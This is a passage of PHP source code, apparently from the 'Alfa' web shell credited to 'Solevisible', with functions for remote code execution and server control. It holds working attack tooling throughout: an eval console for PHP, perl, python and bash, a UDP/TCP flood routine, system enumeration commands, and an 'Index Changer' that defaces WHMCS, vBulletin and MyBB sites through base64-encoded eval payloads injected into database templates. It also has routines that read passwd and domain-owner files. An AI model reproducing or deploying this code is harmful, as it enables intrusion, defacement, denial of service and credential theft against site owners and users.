  3456. $width = 800;
  3457. }
  3458. echo $content = "<div class='editor-view'><div class='view-content'><center>" . $image_info_h . "<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:" . $image_info['mime'] . ";base64," . $source . "' alt='" . $file . "'></center></div></div><br>";
  3459. }
  3460. break;
  3461. }
  3462. echo '</div>';
  3463. alfaFooter();
  3464. }
  3465. function findicon($file, $type)
  3466. {
  3467. $s = 'http://solevisible.com/icons/';
  3468. $types = array(
  3469. 'json',
  3470. 'ppt',
  3471. 'pptx',
  3472. 'xls',
  3473. 'xlsx',
  3474. 'msi',
  3475. 'config',
  3476. 'cgi',
  3477. 'pm',
  3478. 'c',
  3479. 'cpp',
  3480. 'cs',
  3481. 'java',
  3482. 'aspx',
  3483. 'asp',
  3484. 'db',
  3485. 'ttf',
  3486. 'eot',
  3487. 'woff',
  3488. 'woff2',
  3489. 'woff',
  3490. 'conf',
  3491. 'log',
  3492. 'apk',
  3493. 'cab',
  3494. 'bz2',
  3495. 'tgz',
  3496. 'dmg',
  3497. 'izo',
  3498. 'jar',
  3499. '7z',
  3500. 'iso',
  3501. 'rar',
  3502. 'bat',
  3503. 'sh',
  3504. 'alfa',
  3505. 'gz',
  3506. 'tar',
  3507. 'php',
  3508. 'php4',
  3509. 'php5',
  3510. 'phtml',
  3511. 'html',
  3512. 'xhtml',
  3513. 'shtml',
  3514. 'htm',
  3515. 'zip',
  3516. 'png',
  3517. 'jpg',
  3518. 'jpeg',
  3519. 'gif',
  3520. 'bmp',
  3521. 'ico',
  3522. 'txt',
  3523. 'js',
  3524. 'rb',
  3525. 'py',
  3526. 'xml',
  3527. 'css',
  3528. 'sql',
  3529. 'htaccess',
  3530. 'pl',
  3531. 'ini',
  3532. 'dll',
  3533. 'exe',
  3534. 'mp3',
  3535. 'mp4',
  3536. 'm4a',
  3537. 'mov',
  3538. 'flv',
  3539. 'swf',
  3540. 'mkv',
  3541. 'avi',
  3542. 'wmv',
  3543. 'mpg',
  3544. 'mpeg',
  3545. 'dat',
  3546. 'pdf',
  3547. '3gp',
  3548. 'doc',
  3549. 'docx',
  3550. 'docm'
  3551. );
  3552. if ($type != 'file') {
  3553. return ($file == '..' ? $s . 'back.png' : $s . 'folder.png');
  3554. } else {
  3555. $ext = explode('.', $file);
  3556. $ext = end($ext);
  3557. $ext = strtolower($ext);
  3558. return (in_array($ext, $types) ? $s . $ext . '.png' : $s . 'notfound.png');
  3559. }
  3560. }
  3561. function alfadlfile()
  3562. {
  3563. if (isset($_POST['c'], $_POST['file'])) {
  3564. $basename = rawurldecode(basename($_POST['file']));
  3565. $_POST['file'] = str_replace("//", "/", $_POST['c'] . '/' . $basename);
  3566. $alfa_canruncmd = _alfa_can_runCommand(true, true);
  3567. if (@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd) {
  3568. ob_start("ob_gzhandler", 4096);
  3569. header("Content-Disposition: attachment; filename=\"" . addslashes($basename) . "\"");
  3570. header("Content-Type: application/octet-stream");
  3571. if (isset($GLOBALS["glob_chdir_false"])) {
  3572. $randname = $basename . rand(111, 9999);
  3573. $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
  3574. $filepath = $scriptpath . "/" . $randname;
  3575. if (_alfa_is_writable($scriptpath)) {
  3576. alfaEx("cp '" . addslashes($_POST["file"]) . "' '" . addslashes($filepath) . "'");
  3577. readfile($filepath);
  3578. @unlink($filepath);
  3579. } else {
  3580. alfaEx("cat '" . addslashes($_POST["file"]) . "'");
  3581. }
  3582. } else {
  3583. readfile($_POST['file']);
  3584. }
  3585. } else
  3586. echo ('Error...!');
  3587. }
  3588. }
  3589. function alfaphpeval()
  3590. {
  3591. alfahead();
  3592. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')) {
  3593. echo '<div class=header>';
  3594. ob_start();
  3595. $INI = ini_get_all();
  3596. print '<table border=0><tr>' . '<td class="listing"><font class="highlight_txt">Param</td>' . '<td class="listing"><font class="highlight_txt">Global value</td>' . '<td class="listing"><font class="highlight_txt">Local Value</td>' . '<td class="listing"><font class="highlight_txt">Access</td></tr>';
  3597. foreach ($INI as $param => $values)
  3598. print "\n" . '<tr>' . '<td class="listing"><b>' . $param . '</td>' . '<td class="listing">' . $values['global_value'] . ' </td>' . '<td class="listing">' . $values['local_value'] . ' </td>' . '<td class="listing">' . $values['access'] . ' </td></tr>';
  3599. $tmp = ob_get_clean();
  3600. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
  3601. $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
  3602. echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
  3603. }
  3604. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
  3605. echo '<div class=header><style>.p {color:#000;}</style>';
  3606. ob_start();
  3607. phpinfo();
  3608. $tmp = ob_get_clean();
  3609. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
  3610. $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
  3611. echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
  3612. }
  3613. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
  3614. echo '<div class=header>';
  3615. ob_start();
  3616. $EXT = get_loaded_extensions();
  3617. echo '<table border=0><tr><td class="listing">' . implode('</td></tr>' . "\n" . '<tr><td class="listing">', $EXT) . '</td></tr></table>' . count($EXT) . ' extensions loaded';
  3618. echo '</div><br>';
  3619. }
  3620. $lang_html = "";
  3621. foreach (array(
  3622. "php" => "php ~> [ Windows / Linux ]",
  3623. "perl" => "perl ~> [ Linux ]",
  3624. "python" => "python ~> [ Linux ]",
  3625. "bash" => "bash ~> [ Linux ]"
  3626. ) as $key => $val) {
  3627. $lang_html .= '<option value="' . $key . '" ' . ($_POST["alfa3"] == $key ? "selected" : "") . '>' . $val . '</option>';
  3628. }
  3629. echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">' . $lang_html . '</select><br><br><textarea placeholder="file_get_contents(\'/etc/passwd\');" name=code class=bigarea id=PhpCode>' . (!empty($_POST['alfa1']) ? htmlspecialchars($_POST['alfa1']) : '') . '</textarea><center><input type="submit" value="" style="margin-top:5px"></center>';
  3630. echo '</form><pre id=PhpOutput style="' . (empty($_POST['alfa1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
  3631. if (!empty($_POST['alfa1'])) {
  3632. if ($_POST['alfa3'] == "php") {
  3633. ob_start();
  3634. eval($_POST['alfa1']);
  3635. $result = htmlspecialchars(ob_get_clean());
  3636. } elseif (_alfa_can_runCommand() && $GLOBALS["sys"] == "unix") {
  3637. if (isset($_SESSION["eval_tmpdir"])) {
  3638. $tempdir = $_SESSION["eval_tmpdir"];
  3639. } else {
  3640. $tempdir = dirname(alfaEx("mktemp"));
  3641. $_SESSION["eval_tmpdir"] = $tempdir;
  3642. }
  3643. $lang = $_POST['alfa3'];
  3644. $filename = "temp" . rand(11111, 99999);
  3645. $temp = $tempdir . "/" . $filename;
  3646. __write_file($filename, $_POST['alfa1']);
  3647. $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
  3648. @unlink($filename);
  3649. @unlink($temp);
  3650. }
  3651. echo '<textarea class=bigarea id="PhpCode">' . $result . '</textarea>';
  3652. }
  3653. echo '</pre></div>';
  3654. alfafooter();
  3655. }
  3656. function alfahash()
  3657. {
  3658. if (!function_exists('hex2bin')) {
  3659. function hex2bin($p)
  3660. {
  3661. return decbin(hexdec($p));
  3662. }
  3663. }
  3664. if (!function_exists('full_urlencode')) {
  3665. function full_urlencode($p)
  3666. {
  3667. $r = '';
  3668. for ($i = 0; $i < strlen($p); ++$i)
  3669. $r .= '%' . dechex(ord($p[$i]));
  3670. return strtoupper($r);
  3671. }
  3672. }
  3673. $stringTools = array(
  3674. 'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
  3675. 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
  3676. 'strrev ( $string )' => 'strrev($s)',
  3677. 'bin2hex ( $string )' => 'bin2hex($s)',
  3678. 'hex2bin ( $string )' => 'hex2bin($s)',
  3679. 'md5 ( $string )' => 'md5($s)',
  3680. 'sha1 ( $string )' => 'sha1($s)',
  3681. 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
  3682. 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
  3683. 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
  3684. 'crypt ( $string )' => 'crypt($s)',
  3685. 'crc32 ( $string )' => 'crc32($s)',
  3686. 'str_rot13 ( $string )' => 'str_rot13($s)',
  3687. 'urlencode ( $string )' => 'urlencode($s)',
  3688. 'urldecode ( $string )' => 'urldecode($s)',
  3689. 'full_urlencode ( $string )' => 'full_urlencode($s)',
  3690. 'htmlspecialchars ( $string )' => 'htmlspecialchars($s)',
  3691. 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
  3692. 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
  3693. 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
  3694. 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
  3695. 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
  3696. 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))'
  3697. );
  3698. alfahead();
  3699. echo '<div class=header>';
  3700. echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
  3701. foreach ($stringTools as $k => $v)
  3702. echo "<option value='" . htmlspecialchars($v) . "' " . ($_POST['alfa1'] == $v ? 'selected' : '') . ">" . $k . "</option>";
  3703. echo "</select> <input type='submit' value=' '/><br><textarea name='input' style='margin-top:5px' class='bigarea'>" . (empty($_POST['alfa1']) ? '' : htmlspecialchars(@$_POST['alfa2'])) . "</textarea></form>";
  3704. if (!empty($_POST['alfa1'])) {
  3705. $string = addslashes($_POST['alfa2']);
  3706. $string = str_replace('\"', '"', $string);
  3707. $alg = $_POST['alfa1'];
  3708. $code = str_replace('$s', "'" . $string . "'", $alg);
  3709. ob_start();
  3710. eval('echo ' . $code . ';');
  3711. $res = ob_get_contents();
  3712. ob_end_clean();
  3713. if (in_array($alg, $stringTools))
  3714. echo '<textarea class="bigarea" id="PhpCode">' . htmlspecialchars($res) . '</textarea>';
  3715. }
  3716. echo "</div>";
  3717. alfaFooter();
  3718. }
  3719. function alfados()
  3720. {
  3721. alfahead();
  3722. echo '<div class=header>';
  3723. echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
  3724. if (!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])) {
  3725. echo __pre();
  3726. $packets = 0;
  3727. ignore_user_abort(true);
  3728. $exec_time = (int) $_POST['alfa2'];
  3729. $time = time();
  3730. $max_time = $exec_time + $time;
  3731. $host = $_POST['alfa1'];
  3732. $port = (int) $_POST['alfa3'];
  3733. $method = $_POST['alfa4'];
  3734. $out = str_repeat('X', 65000);
  3735. while (1) {
  3736. $packets++;
  3737. if (time() > $max_time) {
  3738. break;
  3739. }
  3740. $fp = @fsockopen($method . '://' . $host, $port, $errno, $errstr, 5);
  3741. if ($fp) {
  3742. fwrite($fp, $out);
  3743. fclose($fp);
  3744. }
  3745. }
  3746. echo "<center>$packets (" . @round(($packets * 65) / 1024, 2) . " MB) packets averaging " . @round($packets / $exec_time, 2) . " packets per second</center>";
  3747. echo "</pre>";
  3748. }
  3749. echo '</div>';
  3750. alfafooter();
  3751. }
  3752. function __pre()
  3753. {
  3754. return ('<pre id="strOutput" style="margin-top:5px" class="ml1">');
  3755. }
  3756. function alfaIndexChanger()
  3757. {
  3758. alfahead();
  3759. echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
  3760. if (isset($_POST['alfa3']) && ($_POST['alfa3'] == 'whmcs')) {
  3761. echo __pre();
  3762. echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
  3763. <p><center>" . getConfigHtml('whmcs') . "<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
  3764. ";
  3765. $table = array(
  3766. 'td1' => array(
  3767. 'color' => 'FFFFFF',
  3768. 'tdName' => 'Mysql Host',
  3769. 'inputName' => 'dbh',
  3770. 'id' => 'db_host',
  3771. 'inputValue' => 'localhost',
  3772. 'inputSize' => '50'
  3773. ),
  3774. 'td2' => array(
  3775. 'color' => 'FFFFFF',
  3776. 'tdName' => 'URL',
  3777. 'inputName' => 'path',
  3778. 'inputValue' => 'http://site.com/whmcs',
  3779. 'inputSize' => '50'
  3780. ),
  3781. 'td3' => array(
  3782. 'color' => 'FFFFFF',
  3783. 'tdName' => 'File Name',
  3784. 'inputName' => 'fname',
  3785. 'inputValue' => '',
  3786. 'inputSize' => '50'
  3787. ),
  3788. 'td4' => array(
  3789. 'color' => 'FFFFFF',
  3790. 'tdName' => 'Db Name',
  3791. 'inputName' => 'dbn',
  3792. 'id' => 'db_name',
  3793. 'inputValue' => '',
  3794. 'inputSize' => '50'
  3795. ),
  3796. 'td5' => array(
  3797. 'color' => 'FFFFFF',
  3798. 'tdName' => 'Db User',
  3799. 'inputName' => 'dbu',
  3800. 'id' => 'db_user',
  3801. 'inputValue' => '',
  3802. 'inputSize' => '50'
  3803. ),
  3804. 'td6' => array(
  3805. 'color' => 'FFFFFF',
  3806. 'tdName' => 'Db Pass',
  3807. 'inputName' => 'dbp',
  3808. 'id' => 'db_pw',
  3809. 'inputValue' => '',
  3810. 'inputSize' => '50'
  3811. )
  3812. );
  3813. create_table($table);
  3814. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3815. <textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
  3816. <input type='submit' value=' '>
  3817. </form></center></center>";
  3818. if (isset($_POST['alfa6'])) {
  3819. $s0levisible = "Powered By Solevisible";
  3820. $dbu = $_POST['alfa6'];
  3821. $path = $_POST['alfa5'];
  3822. $fname = $_POST['alfa4'];
  3823. $dbn = $_POST['alfa7'];
  3824. $dbp = $_POST['alfa8'];
  3825. $dbh = $_POST['alfa9'];
  3826. $index = $_POST['alfa10'];
  3827. $index = str_replace("\'", "'", $index);
  3828. $deface = '$x = base64_decode("' . __ZW5jb2Rlcg($index) . '"); $solevisible = fopen("' . $fname . '","w"); fwrite($solevisible,$x);';
  3829. $saveData = __ZW5jb2Rlcg($deface);
  3830. $Def = '{php}eval(base64_decode("' . $saveData . '"));{/php}';
  3831. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
  3832. $conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
  3833. $soleSave = @mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
  3834. $soleGet = mysqli_fetch_assoc($soleSave);
  3835. $tempSave1 = $soleGet['message'];
  3836. $tempSave = str_replace("'", "\'", $tempSave1);
  3837. $inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
  3838. $result = @mysqli_query($conn, $inject) or die(mysqli_error($conn));
  3839. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  3840. $result2 = @mysqli_query($conn, $create) or die(mysqli_error($conn));
  3841. if (function_exists('curl_version')) {
  3842. $AlfaSole = new AlfaCURL(true);
  3843. $saveurl = $AlfaSole->Send($path . "/pwreset.php");
  3844. $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
  3845. $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
  3846. $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
  3847. $Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
  3848. __alert('File Created...');
  3849. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $path . "/" . $fname . "'>Click Here !</a></font></b></center><br><br>";
  3850. } else {
  3851. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" " . $path . "/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" " . $path . "/" . $fname . " \"</font></b></center><br><br>";
  3852. }
  3853. }
  3854. }
  3855. }
  3856. if (isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')) {
  3857. echo __pre();
  3858. echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
  3859. <p><center>" . getConfigHtml('vb') . "<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
  3860. ";
  3861. $table = array(
  3862. 'td1' => array(
  3863. 'color' => 'FFFFFF',
  3864. 'tdName' => 'Mysql Host',
  3865. 'inputName' => 'dbh',
  3866. 'id' => 'db_host',
  3867. 'inputValue' => 'localhost',
  3868. 'inputSize' => '50'
  3869. ),
  3870. 'td2' => array(
  3871. 'color' => 'FFFFFF',
  3872. 'tdName' => 'Db Name',
  3873. 'inputName' => 'dbn',
  3874. 'id' => 'db_name',
  3875. 'inputValue' => '',
  3876. 'inputSize' => '50'
  3877. ),
  3878. 'td3' => array(
  3879. 'color' => 'FFFFFF',
  3880. 'tdName' => 'Db User',
  3881. 'inputName' => 'dbu',
  3882. 'id' => 'db_user',
  3883. 'inputValue' => '',
  3884. 'inputSize' => '50'
  3885. ),
  3886. 'td4' => array(
  3887. 'color' => 'FFFFFF',
  3888. 'tdName' => 'Db Pass',
  3889. 'inputName' => 'dbp',
  3890. 'id' => 'db_pw',
  3891. 'inputValue' => '',
  3892. 'inputSize' => '50'
  3893. ),
  3894. 'td5' => array(
  3895. 'color' => 'FFFFFF',
  3896. 'tdName' => 'Prefix',
  3897. 'inputName' => 'prefix',
  3898. 'id' => 'db_prefix',
  3899. 'inputValue' => '',
  3900. 'inputSize' => '50'
  3901. )
  3902. );
  3903. create_table($table);
  3904. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3905. <textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
  3906. <input type='submit' value=' '></form></center></center>";
  3907. if ($_POST['alfa8'] == '>>') {
  3908. $s0levisible = "Powered By Solevisible";
  3909. $dbu = $_POST['alfa2'];
  3910. $dbn = $_POST['alfa3'];
  3911. $dbp = $_POST['alfa4'];
  3912. $dbh = $_POST['alfa5'];
  3913. $index = $_POST['alfa6'];
  3914. $prefix = $_POST['alfa7'];
  3915. $index = str_replace("\'", "'", $index);
  3916. $set_index = "{\${eval(base64_decode(\'";
  3917. $set_index .= __ZW5jb2Rlcg("echo \"$index\";");
  3918. $set_index .= "\'))}}{\${exit()}}";
  3919. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
  3920. $conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
  3921. $loli1 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='spacer_open'";
  3922. $loli2 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='FORUMHOME'";
  3923. $loli3 = "UPDATE " . $prefix . "style SET css='" . $set_index . "" . $s0levisible . "', stylevars='', csscolors='', editorstyles=''";
  3924. @mysqli_query($conn, $loli1) or die(mysqli_error($conn));
  3925. @mysqli_query($conn, $loli2) or die(mysqli_error($conn));
  3926. @mysqli_query($conn, $loli3) or die(mysqli_error($conn));
  3927. __alert('VB index changed...!');
  3928. }
  3929. }
  3930. }
  3931. if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
  3932. echo __pre();
  3933. echo "<center><center><div class='txtfont_header'>| Mybb |</div>
  3934. <p><center>" . getConfigHtml('mybb') . "<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
  3935. ";
  3936. $table = array(
  3937. 'td1' => array(
  3938. 'color' => 'FFFFFF',
  3939. 'tdName' => 'Mysql Host',
  3940. 'inputName' => 'mybbdbh',
  3941. 'id' => 'db_host',
  3942. 'inputValue' => 'localhost',
  3943. 'inputSize' => '50'
  3944. ),
  3945. 'td2' => array(
  3946. 'color' => 'FFFFFF',
  3947. 'tdName' => 'Db Name',
  3948. 'inputName' => 'mybbdbn',
  3949. 'id' => 'db_name',
  3950. 'inputValue' => '',
  3951. 'inputSize' => '50'
  3952. ),
  3953. 'td3' => array(
  3954. 'color' => 'FFFFFF',
  3955. 'tdName' => 'Db User',
  3956. 'inputName' => 'mybbdbu',
  3957. 'id' => 'db_user',
  3958. 'inputValue' => '',
  3959. 'inputSize' => '50'
  3960. ),
  3961. 'td4' => array(
  3962. 'color' => 'FFFFFF',
  3963. 'tdName' => 'Db Pass',
  3964. 'inputName' => 'mybbdbp',
  3965. 'id' => 'db_pw',
  3966. 'inputValue' => '',
  3967. 'inputSize' => '50'
  3968. )
  3969. );
  3970. create_table($table);
  3971. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3972. <textarea name=mybbindex rows='19' cols='103'>
  3973. <title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
  3974. if (isset($_POST['alfa6'])) {
  3975. $mybb_dbh = $_POST['alfa6'];
  3976. $mybb_dbu = $_POST['alfa7'];
  3977. $mybb_dbn = $_POST['alfa8'];
  3978. $mybb_dbp = $_POST['alfa9'];
  3979. $mybb_index = $_POST['alfa10'];
  3980. if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) {
  3981. $conn = @mysqli_connect($mybb_dbh, $mybb_dbu, $mybb_dbp, $mybb_dbn) or die(mysqli_error($conn));
  3982. $prefix = "mybb_";
  3983. $loli7 = "UPDATE " . $prefix . "templates SET template='" . $mybb_index . "' WHERE title='index'";
  3984. $result = @mysqli_query($conn, $loli7) or die(mysqli_error($conn));
  3985. __alert('MyBB index changed...!');
  3986. }
  3987. }
  3988. }
  3989. echo "</div>";
  3990. alfafooter();
  3991. }
  3992. function alfaproc()
  3993. {
  3994. alfahead();
  3995. echo "<Div class=header><br><center>";
  3996. if (empty($_POST['ajax']) && !empty($_POST['alfa1']))
  3997. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  3998. if ($GLOBALS['sys'] == "win") {
  3999. $process = array(
  4000. "Task List" => "tasklist /V",
  4001. "System Info" => "systeminfo",
  4002. "Active Connections" => "netstat -an",
  4003. "Running Services" => "net start",
  4004. "User Accounts" => "net user",
  4005. "Show Computers" => "net view",
  4006. "ARP Table" => "arp -a",
  4007. "IP Configuration" => "ipconfig /all"
  4008. );
  4009. } else {
  4010. $process = array(
  4011. "Process status" => "ps aux",
  4012. "Syslog" => "cat /etc/syslog.conf",
  4013. "Resolv" => "cat /etc/resolv.conf",
  4014. "Hosts" => "cat /etc/hosts",
  4015. "Cpuinfo" => "cat /proc/cpuinfo",
  4016. "Version" => "cat /proc/version",
  4017. "Sbin" => "ls -al /usr/sbin",
  4018. "Interrupts" => "cat /proc/interrupts",
  4019. "lsattr" => "lsattr -va",
  4020. "Uptime" => "uptime",
  4021. "Fstab" => "cat /etc/fstab"
  4022. );
  4023. }
  4024. foreach ($process as $n => $link) {
  4025. echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\'' . $link . '\')"> | ' . $n . ' | </a>';
  4026. }
  4027. echo "</center><br>";
  4028. if (!empty($_POST['alfa1'])) {
  4029. echo "<pre class='ml1' style='margin-top:5px' >";
  4030. if (isset($GLOBALS["glob_chdir_false"]) && !empty($_POST["c"])) {
  4031. $cmd = "cd '" . addslashes($_POST["c"]) . "';";
  4032. }
  4033. echo alfaEx($cmd . $_POST['alfa1']);
  4034. echo '</pre>';
  4035. }
  4036. echo "</div>";
  4037. alfafooter();
  4038. }
  4039. function alfasafe()
  4040. {
  4041. alfahead();
  4042. echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
  4043. echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
  4044. if (!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains') {
  4045. if (!_alfa_file_exists("/etc/virtual/domainowners")) {
  4046. echo __pre();
  4047. $solevisible9 = _alfa_file('/etc/named.conf');
  4048. if (is_array($solevisible9)) {
  4049. foreach ($solevisible9 as $solevisible13) {
  4050. if (@eregi('zone', $solevisible13)) {
  4051. preg_match_all('#zone "(.*)"#', $solevisible13, $solevisible14);
  4052. if (strlen(trim($solevisible14[1][0])) > 2) {
  4053. echo $solevisible14[1][0] . '<br>';
  4054. }
  4055. }
  4056. }
  4057. }
  4058. } else {
  4059. echo __pre();
  4060. $users = _alfa_file("/etc/virtual/domainowners");
  4061. if (is_array($users)) {
  4062. foreach ($users as $boz) {
  4063. $dom = explode(":", $boz);
  4064. echo $dom[0] . "\n";
  4065. }
  4066. }
  4067. }
  4068. }
  4069. if (!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases') {
  4070. echo '
  4071. <form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
  4072. if (isset($_POST['alfa9']) && $_POST['alfa9'] == '>>') {
  4073. if (!_alfa_file_exists("/etc/virtual/domainowners")) {
  4074. $site = trim($_POST['alfa7']);
  4075. $rep = str_replace(array(
  4076. "https://",
  4077. "http://",
  4078. "www."
  4079. ), "", $site);
  4080. $user = "";
  4081. if (function_exists("posix_getpwuid") && function_exists("fileowner")) {
  4082. if ($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))) {
  4083. $user = $user['name'];
  4084. }
  4085. } else {
  4086. if (_alfa_can_runCommand(true, true)) {
  4087. $user = alfaEx("stat -c '%U' /etc/valiases/" . $rep);
  4088. }
  4089. }
  4090. if (!empty($user) && $user != 'root') {
  4091. echo __pre() . "<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
  4092. } else {
  4093. echo __pre() . '<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';
  4094. }
  4095. } else {
  4096. $site = trim($_POST['alfa7']);
  4097. $rep = str_replace(array(
  4098. "https://",
  4099. "http://",
  4100. "www."
  4101. ), "", $site);
  4102. $users = _alfa_file("/etc/virtual/domainowners");
  4103. foreach ($users as $boz) {
  4104. $ex = explode(":", $boz);
  4105. if ($ex[0] == $rep) {
  4106. echo __pre() . "<center><table border='1'>
  4107. <tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">" . trim($ex[1]) . "</font></b></td></tr>
